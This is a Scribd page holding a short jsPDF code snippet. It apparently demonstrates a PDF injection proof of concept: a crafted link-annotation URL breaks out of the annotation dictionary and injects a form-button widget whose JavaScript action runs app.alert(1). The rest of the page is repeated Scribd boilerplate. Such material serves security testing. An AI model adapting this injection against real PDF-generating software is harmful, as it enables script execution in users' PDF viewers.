0% found this document useful (0 votes)
46 views1 page

SVG Onload Alert (Document - Domain)

This document creates a link annotation in a PDF document using jsPDF. It defines the bounds, type, and URL of the link. It then adds text to the PDF instructing the user to "Click me test". The link is meant to test displaying an alert pop-up when clicked.

Uploaded by

LinKanX
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
46 views1 page

SVG Onload Alert (Document - Domain)

This document creates a link annotation in a PDF document using jsPDF. It defines the bounds, type, and URL of the link. It then adds text to the PDF instructing the user to "Click me test". The link is meant to test displaying an alert pop-up when clicked.

Uploaded by

LinKanX
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

var doc = new jsPDF();

doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>


<</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275 0.8275]/CA(Submit)>>/Rect [ 72
697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72
21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff
65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F
4/DA(blah`});
doc.text(20, 20, 'Click me test');

You might also like